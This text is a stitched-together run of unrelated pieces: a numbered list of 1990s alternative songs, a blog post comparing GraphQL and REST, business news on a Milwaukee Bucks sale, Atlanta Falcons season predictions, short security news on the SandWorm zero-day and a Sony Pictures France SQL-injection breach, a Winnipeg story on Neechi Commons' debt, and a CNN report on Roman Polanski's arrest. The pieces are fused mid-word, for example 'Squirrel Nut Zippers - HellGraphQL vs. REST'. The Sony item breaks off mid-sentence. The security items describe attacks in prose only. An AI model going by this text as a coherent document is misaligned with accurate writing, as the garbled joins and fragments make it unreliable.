254. Gin Blossoms - Hey Jealousy
255. Nirvana - Drain You
256. Metallica - Sad But True
257. Garbage - #1 Crush
258. Green Day - Geek Stink Breath
259. EMF - Unbelievable
260. Red Hot Chili Peppers - Californication
261. Korn - Blind
262. Portishead - Sour Times
263. Stone Temple Pilots - Trippin' on a Hole in a Paper Heart
264. Primus - Wynona's Big Brown Beaver
265. The Offspring - Gone Away
266. Fugees - No Woman, No Cry
267. Everclear - I Will Buy You a New Life
268. Pearl Jam - Glorified G
269. Tori Amos - Silent All These Years
270. Marilyn Manson - The Dope Show
271. Foo Fighters - This is a Call
272. Beastie Boys - The Negotiation Limerick File
273. 311 - Don't Stay Home
274. Rancid - Salvation
275. The Candy Skins - For What It's Worth
276. The Chemical Brothers - Block Rockin' Beats
277. Red Hot Chili Peppers - My Friends
278. Tool - Forty-Six & 2
279. The Primitives - Crash
280. Soundgarden - Pretty Noose
281. Moby - Southside
282. Nirvana - Verse Chorus Verse
283. Third Eye Blind - Semi-Charmed Life
284. Sonic Youth - Bull in the Heather
285. MxPx - I'm OK, You're OK
286. The Cranberries - Dreams
287. The Smashing Pumpkins - Rhinoceros
288. Rob Zombie - Living Dead Girl
289. Pavement - Cut Your Hair
290. Pearl Jam - Last Kiss
291. Garbage - Special
292. Green Day - Nice Guys Finish Last
293. Oasis - Live Forever
294. Goldfinger - Here in Your Bedroom
295. Bush - The Chemicals Between Us
296. Edwyn Collins - A Girl Like You
297. Metallica - No Leaf Clover
298. Sinead O'Connor - Nothing Compares 2 U
299. Stone Temple Pilots - Unglued
300. Catherine Wheel - Black Metallic
301. Jesus Jones - Right Here, Right Now
302. Live - All Over You
303. PJ Harvey - Down By the Water
304. Pearl Jam - Go
305. Blur - Girls & Boys
306. System of a Down - Spiders
307. Radiohead - Paranoid Android
308. Bloodhound Gang - Fire Water Burn
309. Marilyn Manson - Sweet Dreams (Are Made of This)
310. Folk Implosion - Natural One
311. System of a Down - Sugar
312. Garbage - Stupid Girl
313. Meat Puppets - Backwater
314. Nine Inch Nails - We're In This Together
315. Belly - Feed the Tree
316. Stone Temple Pilots - Crackerman
317. The Prodigy - Firestarter
318. Counting Crows - Mr. Jones
319. 311 - Do You Right
320. Everclear - Father of Mine
321. Korn - Falling Away from Me
322. The Cranberries - Linger
323. Temple of the Dog - Say Hello to Heaven
324. Buck-O-Nine - My Town
325. Soundgarden - Burden in My Hand
326. Eve 6 - Inside Out
327. Pearl Jam - Once
328. R.E.M. - Everybody Hurts
329. Bad Religion - Struck a Nerve
330. U2 - The Sweetest Thing
331. The Smashing Pumpkins - Perfect
332. Tool - Eulogy
333. DNA - Tom's Diner
334. MxPx - Chick Magnet
335. Eels - Novacaine for the Soul
336. Candlebox - Far Behind
337. The Cure - A Letter to Elise
338. Stone Temple Pilots - Big Bang Baby
339. Beastie Boys - Body Movin'
340. Len - Steal My Sunshine
341. Nirvana - Breed
342. Big Audio Dynamite - The Globe
343. Reel Big Fish - Sell Out
344. Hole - Violet
345. Staind - Mudshovel
346. Dave Matthews Band - Crush
347. Anthrax - Bring the Noise
348. Smash Mouth - Walkin' on the Sun
349. Unwritten Law - Cailin
350. School of Fish - 3 Strange Days
351. Metallica - Until It Sleeps
352. Depeche Mode - Policy of Truth
353. Korn - Make Me Bad
354. Garbage - Queer
355. Pearl Jam - Nothingman
356. The Cult - Edie (Ciao Baby)
357. 311 - Flowing
358. Live - The Dolphin's Cry
359. Stone Temple Pilots - Dead and Bloated
360. The Flaming Lips - She Don't Use Jelly
361. Mike Ness - Don't Think Twice
362. Kid Rock - Cowboy
363. Sugar Ray - Fly
364. Nirvana - On a Plain
365. Save Ferris - Goodbye
366. Soul Asylum - Runaway Train
367. Soundgarden - My Wave
368. Veruca Salt - Seether
369. Better than Ezra - Good
370. Tool - Aenema
371. Moby - Bodyrock
372. Candlebox - You
373. Duran Duran - Ordinary World
374. L7 - Pretend We're Dead
375. Counting Crows - Round Here
376. Rage Against the Machine - Calm Like a Bomb
377. Stereo MC's - Connected
378. Sublime - Saw Red
379. U2 - Even Better than the Real Thing
380. Urge Overkill - Girl, You'll Be a Woman Soon
381. Garbage - Push It
382. Metallica - Hero of the Day
383. Third Eye Blind - Graduate
384. Faith No More - Midlife Crisis
385. 311 - Come Original
386. Screaming Trees - Nearly Lost You
387. Long Beach Dub All-Stars - Trailer Ras
388. Korn - Shoots and Ladders
389. Sponge - Molly
390. James - Born of Frustration
391. The Smashing Pumpkins - Never Let Me Down Again
392. The Cranberries - Zombie
393. Nirvana - Stay Away
394. Poe - Angry Johnny
395. Alice in Chains - Angry Chair
396. Oasis - Don't Look Back in Anger
397. Helmet - Unsung
398. Radiohead - Let Down
399. Hole - Miss World
400. Us3 - Cantaloop
401. Limp Bizkit - Faith
402. Everclear - Everything to Everyone
403. Elastica - connection
404. Machines of Loving Grace - Butterfly Wings
405. Duran Duran - Come Undone
406. Oasis - Supersonic
407. Red Hot Chili Peppers - Taste the Pain
408. The Stone Roses - Fools Gold
409. Fuel - Shimmer
410. Iggy Pop - Candy
411. Porno for Pyros - Tahitian Moon
412. cypress Hill - How I Could Just Kill a Man
413. INXS - Not Enough Time
414. The Smashing Pumpkins - Rocket
415. Garbage - I Think I'm Paranoid
416. Lenny Kravitz - American Woman
417. Sugar - Helpless
418. Depeche Mode - World in My Eyes
419. Danzig - Mother
420. Nine Inch Nails - Terrible Lie
421. Kottonmouth Kings - Dog's Life
422. Filter - Take a Picture
423. Big Audio Dynamite - Rush
424. Spacehog - In the Meantime
425. Alice in Chains - Them Bones
426. Bjork - Human Behavior
427. Nirvana - Aneurysm
428. The Pixies - Here Comes Your Man
429. Rage Against the Machine - Bombtrack
430. Less than Jake - Dopeman
431. Pearl Jam - Not for You
432. The Soup Dragons - I'm Free
433. Korn - A.D.I.D.A.S.
434. R.E.M. - Man on the Moon
435. Pennywise - Same Old Story
436. Presidents of the United States of America - Peaches
437. Sonic Youth - The Diamond Sea
438. Red Hot Chili Peppers - Behind the Sun
439. Hole - Malibu
440. The Smashing Pumpkins - Mayonnaise
441. Soul Asylum - Somebody to Shove
442. Save Ferris - The World is New
443. Dinosaur Jr. Feel the Pain
444. Godsmack - Voodoo
445. Siouxsie and the Banshees - Kiss Them for Me
446. Stabbing Westward - What Do I Have to Do?
447. Sublime - Jailhouse
448. The Charlatans UK - Weirdo
449. Stone Temple Pilots - Lady Picture Show
450. Tori Amos - Crucify
451. U2 - Until the End of the World
452. Tool - Prison Sex
453. Blur - There's No Other Way
454. Pearl Jam - Wishlist
455. The Posies - Dream All Day
456. Limp Bizkit - Crushed
457. AFI - Totalimmomrtal
458. Shaggy - Oh Carolina
459. Nine Inch Nails - The Perfect Drug
460. Luscious Jackson - Naked Eye
461. Nirvana - Pennyroyal Tea
462. The Verve Pipe - The Freshmen
463. No Doubt - New
464. Alice in Chains - Down in a Hole
465. Ned's Atomic Dustbin - Grey Cell Green
466. NOFX - Leave It Alone
467. Depeche Mode - It's No Good
468. Jeff Buckley - Last Goodbye
469. The Stone Roses - I Wanna Be Adored
470. The Afghan Whigs - Gentlemen
471. Beastie Boys - Shake Your Rump
472. Elastica - Stutter
473. Godsmack - Whatever
474. New Order - Regret
475. Sublime - Same in the End
476. Stroke 9 - Little Black Backpack
477. Oasis - All Around the World
478. Tripping Daisy - I Got a Girl
479. Ministry - N.W.O.
480. Radiohead - No Surprises
481. Remy Zero - Prophecy
482. Shakespear's Sister - Stay
483. Everclear - Heroin Girl
484. The Jesus and Mary Chain - Far Gone and Out
485. Stabbing Westward - Shame
486. R.E.M. - Bang and Blame
487. Tracy Bonham - Mother Mother
488. Pearl Jam - I Got Id
489. Seven Mary Three - Cumbersome
490. Republica - Ready to Go
491. The Smashing Pumpkins - Thirty-Three
492. Hum - Stars
493. Fun Lovin' Criminals - Scooby Snacks
494. Cracker - Teen Angst
495. Concrete Blonde - Joey
496. Red Hot Chili Peppers - Aeroplane
497. Semisonic - Closing Time
498. Garbage - Vow
499. U2 - Who's Gonna Ride Your Wild Horses
500. Squirrel Nut Zippers - HellGraphQL vs. REST
Two ways to send data over HTTP: What’s the difference?
Sashko Stubailo Blocked Unblock Follow Following Jun 27, 2017
Often, GraphQL is presented as a revolutionary new way to think about APIs. Instead of working with rigid server-defined endpoints, you can send queries to get exactly the data you’re looking for in one request. And it’s true — GraphQL can be transformative when adopted in an organization, enabling frontend and backend teams to collaborate more smoothly than ever before. But in practice, both of these technologies involve sending an HTTP request and receiving some result, and GraphQL has many elements of the REST model built in.
So what’s the real deal on a technical level? What are the similarities and differences between these two API paradigms? My claim by the end of the article is going to be that GraphQL and REST are not so different after all, but that GraphQL has some small changes that make a big difference to the developer experience of building and consuming an API.
So let’s jump right in. We’ll identify some properties of an API, and then discuss how GraphQL and REST handle them.
Resources
The core idea of REST is the resource. Each resource is identified by a URL, and you retrieve that resource by sending a GET request to that URL. You will likely get a JSON response, since that’s what most APIs are using these days. So it looks something like:
GET /books/1
{
"title": "Black Hole Blues",
"author": {
"firstName": "Janna",
"lastName": "Levin"
}
//... more fields here
}
Note: In the example above, some REST APIs would return “author” as a separate resource.
One thing to note in REST is that the type, or shape, of the resource and the way you fetch that resource are coupled. When you talk about the above in REST documentation, you might refer to it as the “book endpoint”.
GraphQL is quite different in this respect, because in GraphQL these two concepts are completely separate. In your schema, you might have Book and Author types:
type Book {
id: ID
title: String
published: Date
price: String
author: Author
}
type Author {
id: ID
firstName: String
lastName: String
books: [Book]
}
Notice that we have described the kinds of data available, but this description doesn’t tell you anything at all about how those objects might be fetched from a client. That’s one core difference between REST and GraphQL — the description of a particular resource is not coupled to the way you retrieve it.
To be able to actually access a particular book or author, we need to create a Query type in our schema:
type Query {
book(id: ID!): Book
author(id: ID!): Author
}
Now, we can send a request similar to the REST request above, but with GraphQL this time:
GET /graphql?query={ book(id: "1") { title, author { firstName } } }
{
"title": "Black Hole Blues",
"author": {
"firstName": "Janna",
}
}
Nice, now we’re getting somewhere! We can immediately see a few things about GraphQL that are quite different from REST, even though both can be requested via URL, and both can return the same shape of JSON response.
First of all, we can see that the URL with a GraphQL query specifies the resource we’re asking for and also which fields we care about. Also, rather than the server author deciding for us that the related author resource needs to be included, the consumer of the API decides.
But most importantly, the identities of the resources, the concepts of Books and Authors, are not coupled to the way they are fetched. We could potentially retrieve the same Book through many different types of queries, and with different sets of fields.
Conclusion
We’ve identified some similarities and differences already:
Similar: Both have the idea of a resource, and can specify IDs for those resources.
Both have the idea of a resource, and can specify IDs for those resources. Similar: Both can be fetched via an HTTP GET request with a URL.
Both can be fetched via an HTTP GET request with a URL. Similar: Both can return JSON data in the request.
Both can return JSON data in the request. Different: In REST, the endpoint you call is the identity of that object. In GraphQL, the identity is separate from how you fetch it.
In REST, the endpoint you call is the identity of that object. In GraphQL, the identity is separate from how you fetch it. Different: In REST, the shape and size of the resource is determined by the server. In GraphQL, the server declares what resources are available, and the client asks for what it needs at the time.
Alright, this was pretty basic if you’ve already used GraphQL and/or REST. If you haven’t used GraphQL before, you can play around with an example similar to the above on Launchpad, a tool for building and exploring GraphQL examples in your browser.
URL Routes vs GraphQL Schema
An API isn’t useful if it isn’t predictable. When you consume an API, you’re usually doing it as part of some program, and that program needs to know what it can call and what it should expect to receive as the result, so that it can operate on that result.
So one of the most important parts of an API is a description of what can be accessed. This is what you’re learning when you read API documentation, and with GraphQL introspection and REST API schema systems like Swagger, this information can be examined programmatically.
In today’s REST APIs, the API is usually described as a list of endpoints:
GET /books/:id
GET /authors/:id
GET /books/:id/comments
POST /books/:id/comments
So you could say that the “shape” of the API is linear — there’s a list of things you can access. When you are retrieving data or saving something, the first question to ask is “which endpoint should I call”?
In GraphQL, as we covered above, you don’t use URLs to identify what is available in the API. Instead, you use a GraphQL schema:
type Query {
book(id: ID!): Book
author(id: ID!): Author
}
type Mutation {
addComment(input: AddCommentInput): Comment
}
type Book {... }
type Author {... }
type Comment {... }
input AddCommentInput {... }
There are a few interesting bits here when compared to the REST routes for a similar data set. First, instead of sending a different HTTP verb to the same URL to differentiate a read vs. a write, GraphQL uses a different initial type — Mutation vs. Query. In a GraphQL document, you can select which type of operation you’re sending with a keyword:
query {... }
mutation {... }
For all of the details about the query language, read my earlier post, “The Anatomy of a GraphQL Query”.
You can see that the fields on the Query type match up pretty nicely with the REST routes we had above. That’s because this special type is the entry point into our data, so this is the most equivalent concept in GraphQL to an endpoint URL.
The way you get the initial resource from a GraphQL API is quite similar to REST — you pass a name and some parameters — but the main difference is where you can go from there. In GraphQL, you can send a complex query that fetches additional data according to relationships defined in the schema, but in REST you would have to do that via multiple requests, build the related data into the initial response, or include some special parameters in the URL to modify the response.
Conclusion
In REST, the space of accessible data is described as a linear list of endpoints, and in GraphQL it’s a schema with relationships.
Similar: The list of endpoints in a REST API is similar to the list of fields on the Query and Mutation types in a GraphQL API. They are both the entry points into the data.
The list of endpoints in a REST API is similar to the list of fields on the and types in a GraphQL API. They are both the entry points into the data. Similar: Both have a way to differentiate if an API request is meant to read data or write it.
Both have a way to differentiate if an API request is meant to read data or write it. Different: In GraphQL, you can traverse from the entry point to related data, following relationships defined in the schema, in a single request. In REST, you have to call multiple endpoints to fetch related resources.
In GraphQL, you can traverse from the entry point to related data, following relationships defined in the schema, in a single request. In REST, you have to call multiple endpoints to fetch related resources. Different: In GraphQL, there’s no difference between the fields on the Query type and the fields on any other type, except that only the query type is accessible at the root of a query. For example, you can have arguments in any field in a query. In REST, there’s no first-class concept of a nested URL.
In GraphQL, there’s no difference between the fields on the type and the fields on any other type, except that only the query type is accessible at the root of a query. For example, you can have arguments in any field in a query. In REST, there’s no first-class concept of a nested URL. Different: In REST, you specify a write by changing the HTTP verb from GET to something else like POST. In GraphQL, you change a keyword in the query.
Because of the first point in the list of similarities above, people often start referring to fields on the Query type as GraphQL “endpoints” or “queries”. While that’s a reasonable comparison, it can lead to a misleading perception that the Query type works significantly differently from other types, which is not the case.
Route Handlers vs. Resolvers
So what happens when you actually call an API? Well, usually it executes some code on the server that received the request. That code might do a computation, load data from a database, call a different API, or really do anything. The whole idea is you don’t need to know from the outside what it’s doing. But both REST and GraphQL have pretty standard ways for implementing the inside of that API, and it’s useful to compare them to get a sense for how these technologies are different.
In this comparison I’ll use JavaScript code because that’s what I’m most familiar with, but of course you can implement both REST and GraphQL APIs in almost any programming language. I’ll also skip any boilerplate required for setting up the server, since it’s not important to the concepts.
Let’s look at a hello world example with express, a popular API library for Node:
app.get('/hello', function (req, res) {
res.send('Hello World!')
})
Here you see we’ve created a /hello endpoint that returns the string 'Hello World!'. From this example we can see the lifecycle of an HTTP request in a REST API server:
The server receives the request and retrieves the HTTP verb ( GET in this case) and URL path The API library matches up the verb and path to a function registered by the server code The function executes once, and returns a result The API library serializes the result, adds an appropriate response code and headers, and sends it back to the client
GraphQL works in a very similar way, and for the same hello world example it’s virtually identical:
const resolvers = {
Query: {
hello: () => {
return 'Hello world!';
},
},
};
As you can see, instead of providing a function for a specific URL, we’re providing a function that matches a particular field on a type, in this case the hello field on the Query type. In GraphQL, this function that implements a field is called a resolver.
To make a request we need a query:
query {
hello
}
So here’s what happens when our server receives a GraphQL request:
The server receives the request, and retrieves the GraphQL query The query is traversed, and for each field the appropriate resolver is called. In this case, there’s just one field, hello, and it’s on the Query type The function is called, and it returns a result The GraphQL library and server attaches that result to a response that matches the shape of the query
So you would get back:
{ "hello": "Hello, world!" }
But here’s one trick, we can actually call the field twice!
query {
hello
secondHello: hello
}
In this case, the same lifecycle happens as above, but since we’ve requested the same field twice using an alias, the hello resolver is actually called twice. This is clearly a contrived example, but the point is that multiple fields can be executed in one request, and the same field can be called multiple times at different points in the query.
This wouldn’t be complete without an example of “nested” resolvers:
{
Query: {
author: (root, { id }) => find(authors, { id: id }),
},
Author: {
posts: (author) => filter(posts, { authorId: author.id }),
},
}
These resolvers would be able to fulfill a query like:
query {
author(id: 1) {
firstName
posts {
title
}
}
}
So even though the set of resolvers is actually flat, because they are attached to various types you can build them up into nested queries. Read more about how GraphQL execution works in the post “GraphQL Explained”.
See a complete example and run different queries to test this out!
An artists’ interpretation of fetching resources with multiple REST roundtrips vs. one GraphQL request
Conclusion
At the end of the day, both REST and GraphQL APIs are just fancy ways to call functions over a network. If you’re familiar with building a REST API, implementing a GraphQL API won’t feel too different. But GraphQL has a big leg up because it lets you call several related functions without multiple roundtrips.
Similar: Endpoints in REST and fields in GraphQL both end up calling functions on the server.
Endpoints in REST and fields in GraphQL both end up calling functions on the server. Similar: Both REST and GraphQL usually rely on frameworks and libraries to handle the nitty-gritty networking boilerplate.
Both REST and GraphQL usually rely on frameworks and libraries to handle the nitty-gritty networking boilerplate. Different: In REST, each request usually calls exactly one route handler function. In GraphQL, one query can call many resolvers to construct a nested response with multiple resources.
In REST, each request usually calls exactly one route handler function. In GraphQL, one query can call many resolvers to construct a nested response with multiple resources. Different: In REST, you construct the shape of the response yourself. In GraphQL, the shape of the response is built up by the GraphQL execution library to match the shape of the query.
Essentially, you can think of GraphQL as a system for calling many nested endpoints in one request. Almost like a multiplexed REST.As speculation builds toward a pending sale of the Milwaukee Bucks to a new group of investors, a prominent commercial real estate developer and project manager in Brookfield has filed federal documents to initiate a private offering for $450 million.
Jon Hammes, founder and managing partner of Hammes Co., is listed as the director of the Hammes Partners II (A) L.P., which filed a public notice of exempt offering of securities with the U.S. Securities and Exchange Commission to initiate the private equity offering to raise $450 million.
The value of the Milwaukee Bucks franchise was estimated at $405 million by Forbes magazine in January.
Hammes Co. executives declined to return phone calls today to inquire whether the private equity offering may be related to an acquisition of the Bucks or the financing of a new arena in Milwaukee.
Hammes Co. was hired by the Metropolitan Milwaukee Association of Commerce in January to provide advice on whether a new, multi-purpose sports arena should be built or the BMO Harris Bradley Center should be renovated.
Hammes Co. is a health care consulting firm that provides strategic planning, facility development and real estate advisory services to the health care industry. The company also has a sports facility development division and was the construction management firm for construction of the Kohl Center in Madison, the renovation and expansion of Lambeau Field in Green Bay and construction of MetLife Stadium in New Jersey.
A source close to the negotiations said the fact Hammes was hired by the MMAC to explore options would not preclude the company from pursuing an option to purchase the team or build a new arena.
Sources said Bucks owner Herb Kohl has hired Allen & Co., a New York-based consulting firm, to bring in a new team of investors to buy the team.
On Saturday, ESPN NBA analyst Bill Simmons wrote on Twitter that a deal to sell the Bucks is imminent.
“Hearing the Milwaukee Bucks are very VERY close to being sold pending league approval. Might be done already. PS: Not to the Seattle guys,” Simmons wrote.
In a subsequent Tweet, he wrote, “Off last tweet: the NBA has been helping Herb Kohl quietly shop the Bucks around w/o letting it turn into a stay-or-leave soap opera.”
Kohl purchased the Bucks in 1985 for $18 million. Sources are speculating that if Kohl can find a new group of investors willing to take the team off his hands, he could use the bulk of the proceeds from the sale to help finance a new arena that would keep the team in Milwaukee.
Sources said the NBA will require a commitment to build a new arena as a condition of keeping the team in Milwaukee.
BizTimes has reported that a regional commitment of public financing for a new arena in Milwaukee is not likely to be feasible. County boards in Ozaukee, Racine and Waukesha have already approved preemptive resolutions against regional taxation for a new arena in Milwaukee.
Todd Kibler, a partner and chief financial officer of Hammes Co., is listed as a co-director on the private equity filing, as is Patrick Hammes, co-founder and managing director of Hammes Holdings, a private family office established to manage the capital of the Hammes family.Rejoice football fans, for the NFL's regular season has finally returned to us. Of course the real season, as we know, does not begin until 1 p.m. on Sunday.
As we stand on the precipice of a meaningful Falcons football game, the fine staff writers at The Falcoholic (and myself) are going to conduct a timeless, age-old exercise that any self-respecting sports writer would conduct: making predictions that will undoubtedly, surely wind up incredibly wrong and make us seem foolish in hindsight.
And here... we... go:
Dave Choate
From Dave: I have the Falcons going 9-7, with the resurgent offense carrying a defense that still has several kinks to work through. Here's how that plays out.
W vs. Saints
L @ Bengals
W vs. Buccaneers
W @ Vikings
L @ Giants
L vs. Bears
W @ Ravens
W vs. Lions
L @ Buccaneers
W @ Panthers
W vs. Browns
L vs. Cardinals
L @ Packers
W vs. Steelers
L @ Saints
W vs. Panthers
Jeanna Thomas
From Jeanna: With a healthy roster, finishing the season 10-6 is not at all out of the question. There are some really tough opponents down the stretch, though, and the Falcons will have to really work for a playoff spot in the competitive NFC.
Week 1: W vs. Saints
Week 2: L @ Bengals
Week 3: W vs. Bucs
Week 4: W @ Vikings
Week 5: W @ Giants
Week 6: W vs. Bears
Week 7: L @ Ravens
Week 8: W vs. Lions
Week 10: W @ Bucs
Week 11: L @ Panthers
Week 12: W vs. Browns
Week 13: L vs. Cardinals
Week 14: L @ Packers
Week 15: W vs. Steelers
Week 16: L @ Saints
Week 17: W vs. Panthers
Alex Welch:
The ever-morose Alex Welch has the Dirty Birds going 8-8. Typical.
Week 1, vs. Saints: L
Week 2, at Bengals: L
Week 3, vs. Bucs: W
Week 4, at Vikings: W
Week 5, at Giants: W
Week 6, vs. Bears: L
Week 7, at Ravens: W
Week 8, vs. Lions: L
Week 10, at Bucs: L
Week 11, at Panthers: L
Week 12, vs. Browns: W
Week 13, vs Cardinals: W
Week 14, at Packers: L
Week 15, vs. Steelers: W
Week 16, at Saints: L
Week 17, vs. Panthers: W
Caleb Rutherford
From Caleb, who has Atlanta going 13-3: Get on my level.
Week 1, vs. Saints: W
Week 2, at Bengals: W
Week 3, vs. Bucs: W
Week 4, at Vikings: W
Week 5, at Giants: W
Week 6, vs. Bears: W
Week 7, at Ravens: W
Week 8, vs. Lions: W
Week 10, at Bucs: W
Week 11, at Panthers: L
Week 12, vs. Browns: W
Week 13, vs Cardinals: W
Week 14, at Packers: L
Week 15, vs. Steelers: W
Week 16, at Saints: L
Week 17, vs. Panthers: W
Alec Shirkey
Even with Lamar Holmes back in the starting fold, a revamped offensive line and a healthy Julio Jones should be enough for the offense to carry Atlanta through a relatively forgiving schedule to a 9-7 record. Whether that proves enough to make the playoffs, I'm not so sure.
Week 1: W vs Saints
Week 2: L at Bengals
Week 3: W vs Bucs
Week 4: W at Vikings
Week 5: L at Giants
Week 6: L vs Bears
Week 7: W at Ravens
Week 8: W vs Lions
Week 10: L at Bucs
Week 11: L at Panthers
Week 12: W vs Browns
Week 13: W vs Cardinals
Week 14: L at Packers
Week 15: W vs Steelers
Week 16: L at Saints
Week 17: W vs Panthers
Matt Chambers
From Matt: With a revamped and healthy team, the Falcons beat the Saints twice and everything else I don't care about. Looks like 10-6.
W vs. Saints
L @ Bengals
W vs. Buccaneers
W @ Vikings
L @ Giants
L vs. Bears
W @ Ravens
L vs. Lions
L @ Buccaneers
W @ Panthers
W vs. Browns
W vs. Cardinals
L @ Packers
W vs. Steelers
W @ Saints
W vs. PanthersIn today’s Patch Tuesday, Microsoft will be releasing a wide variety of patches, and among them will be one for a zero-day vulnerability that has been used in a cyber-espionage campaign targeting NATO, the European Union, Ukrainian and Polish government organizations, and European companies in the telecommunications and energy sectors.
The attack exploiting it has been discovered by iSIGHT Partners, whose researchers were tracking the activities of a group of hackers whom they suspect to be of Russian origin and potentially working for (or selling information to) the Russian government.
“On September 3rd, our research and labs teams discovered that the spear-phishing attacks relied on the exploitation of a zero-day vulnerability impacting all supported versions of Microsoft Windows (XP is not impacted) and Windows Server 2008 and 2012,” iSIGHT shared.
The vulnerability, dubbed SandWorm (CVE-2014-4114) because of many references to Frank Herbert’s Dune contained in the exploit code, is found in the OLE package manager in Microsoft Windows and Server and, in this particular case, malicious Microsoft PowerPoint files would make the OLE packager download additional malicious files that allowed the attackers to execute commands on the targeted systems.
iSIGHT researchers say that the SandWorm Team has been operational for at least five years, and has been targeting institutions and individuals considered to work against Russian interests.
They have, in the past, exploited at least five other older vulnerabilities, and other security firms have noted that they have used modified versions of the BlackEnergy crimeware to steal confidential information.
iSIGHT has notified Microsoft about the SandWorm vulnerability, and has been helping them with information.
“The power of the exploit is pretty substantial,” John Hultquist, senior manager of cyber-espionage threat intelligence for iSIGHT, commented for Ars Technica. “From talking to some people over here, they have had a hard time writing signatures for it, and the attack does not crash anything. It’s subtle.”Poor Sony just can’t catch a break. This time it’s Sony Pictures France that’s been hacked, and over 177,000 individual e-mail messages have been stolen from the site’s database. The two hackers who took credit for the attack are a student from Lebanon and a friend of his in France. They stated getting into Sony Pictures France’s database was a matter of a simple SQL injection: the same way intruders got into almost every other Sony site in recent weeks.
The two men responsible for the hack have posted 70 of the emails to Pastebin, but have said they’ll hold off on posting the rest. Sony, for its part, only said that they’re “investigating” the pair’s claim, and won’t corroborate the fact that an intrusion occurred.
Even though Sony is keeping quiet on the matter, a SQL injection is actually a simple method of attack and it’s the same one used against SonyPictures.com earlier this month. It’s also the same method used to breach databases in smaller attacks at Sony sites around the world, including Sony |
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Neechi Commons spokesman Russ Rothney confirmed the credit union has scheduled the auction, and $3.8 million is a good indication of how much money Neechi owes.
An advertisement in a local newspaper Tuesday stated the building and land at 865 Main St. would be auctioned off July 10, and the reserve bid would be $3.8 million.
The lender — Assiniboine Credit Union — provided Neechi a $3-million-plus loan to help get the much heralded co-operative off the ground in 2013, with the federal and provincial governments also chipping in $3.6 million in grants.
Neechi Commons, the aboriginal-owned-and-operated Main Street retail complex that brought jobs to one of Winnipeg’s most economically disadvantaged neighbourhoods, has fallen behind on its loan payments and faces the threat of its building and land being auctioned off by its main lender.
Hey there, time traveller! This article was published 28/6/2017 (608 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 28/6/2017 (608 days ago), so information in it may no longer be current.
Neechi Commons, the aboriginal-owned-and-operated Main Street retail complex that brought jobs to one of Winnipeg’s most economically disadvantaged neighbourhoods, has fallen behind on its loan payments and faces the threat of its building and land being auctioned off by its main lender.
The lender — Assiniboine Credit Union — provided Neechi a $3-million-plus loan to help get the much heralded co-operative off the ground in 2013, with the federal and provincial governments also chipping in $3.6 million in grants.
An advertisement in a local newspaper Tuesday stated the building and land at 865 Main St. would be auctioned off July 10, and the reserve bid would be $3.8 million.
Neechi Commons spokesman Russ Rothney confirmed the credit union has scheduled the auction, and $3.8 million is a good indication of how much money Neechi owes.
He said the co-operative is now scrambling to come up with a new financial arrangement that will convince the bank not to proceed with the auction. The options being explored include finding someone who is willing to take on the loan, finding a new equity partner, finding someone who is willing to act as a guarantor or finding someone who would buy the building and lease it back to the co-operative.
Rothney said the sale-and-lease-back option would be the best long-term solution "because it would immediately give us a lot more financial flexibility."
While finding someone to take on the loan would buy some more time, "it doesn’t give us the extra financial flexibility that we’re hoping will emerge out of all of this," he said.
Rothney said co-op officials are talking to several parties, including someone who might be interested in the buy-and-lease-back option. He said Manitoba Sen. Murray Sinclair is also working with them to find a solution.
KEN GIGLIOTTI / WINNIPEG FREE PRESS files Russ Rothney, spokesman for Neechi Commons, stocks shelves at Neechi Commons before its grand opening in March, 2013.
If Neechi can’t find a way to stop the auction, Rothney said another option would be to have someone bid for the property on the co-op’s behalf.
Kevin Sitka, president and chief executive officer of Assiniboine Credit Union, said the institution is willing to consider calling off or postponing the auction if Neechi comes up with a solution agreeable to everyone. But he seemed to hint the credit union doesn’t want to continue as its lender.
"We certainly believe in the need for a food store in the North End, just like we believe in providing banking services to the North End," he said. "And we certainly hope they can... continue to (provide that) service in some other way going forward."
He emphasized calling in the loan wasn’t an easy decision. "We’ve certainly done everything possible to avoid this. We have a true appreciation for the social impact that Neechi had, and has, today."
Rothney said Neechi has struggled from the get-go because it cost far more than expected to redevelop the two century-old buildings it now calls home.
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The original cost estimate was about $5 million, but a series of unexpected structural problems and construction delays drove that up to $6.8 million. At the completion of the project, the true cost was closer to $8 million, Rothney said, when they factored in the extra carrying costs on the loans and the cost of upgrades to the original building on Dufferin Avenue, where Neechi continued to operate a catering and wholesale-food-services division.
The Neechi Commons complex includes a neighbourhood supermarket featuring traditional aboriginal foods such as bannock, fresh and frozen wild berries, wild rice, locally-grown fruits and vegetables and local fish. It also has a bakery, restaurant, aboriginal arts store, and shops selling aboriginal books, crafts, music and clothing. It also hosts a seasonal farmers’ market.
Rothney said the co-op recorded a 35.5 per cent increase in sales last year, but from the time it opened in early 2013, it has been plagued with too little working capital.
"In the end, we got into a situation where cash so was tight that this spring, we had to run our inventory down so badly and we took a substantial hit on our sales," he said. "So to deal with that we brought in new management leadership and we’ve not restored... our inventory and sales are going back up again."
He said the co-op has also improved its margins. "So we do think that Neechi does have a strong future and that it’s still a value to the community."
murray.mcneill@freepress.mb.caZURICH, Switzerland (CNN) -- Woody Allen, Pedro Almodovar and Martin Scorsese have "demanded the immediate release" of fellow filmmaker Roman Polanski, who was arrested in Switzerland on a U.S. arrest warrant related to a 1977 child sex charge.
A supporter displays a "free Polanski" tag on his shirt during the Zurich Film Festival.
They were among 138 people in the film industry who signed a petition against the arrest.
Polanski was on the way to the Zurich Film Festival when Swiss police detained him in response to the American warrant.
The filmmaker pleaded guilty in 1977 to having unlawful sexual intercourse with a minor but fled before he could be sentenced. He settled in France, where he holds citizenship. Investigators in the United States say Polanski, then 43, drugged and raped a 13-year-old girl.
The filmmakers objected to his being arrested en route to the film festival, which held a tribute to him this year.
"It seems inadmissible to them that an international cultural event, paying homage to one of the greatest contemporary filmmakers, is used by the police to apprehend him," said the petition, backed by France's Societe des Auteurs et Compositeurs Dramatiques (Society of Dramatic Authors and Composers).
"The arrest of Roman Polanski in a neutral country, where he assumed he could travel without hindrance... opens the way for actions of which no one can know the effects," said the signatories, who also included actresses Monica Bellucci and Tilda Swinton and directors David Lynch, Jonathan Demme, John Landis, Alejandro Gonzalez Inarritu and Wim Wenders.
In the United States, powerhouse movie producer Harvey Weinstein is trying to recruit more supporters for Polanksi.
"We are calling every filmmaker we can to help fix this terrible situation," his company told CNN in a statement.
Polanski has filed an appeal against his extradition to the United States, Swiss authorities said. They added that they would act on the case within weeks.
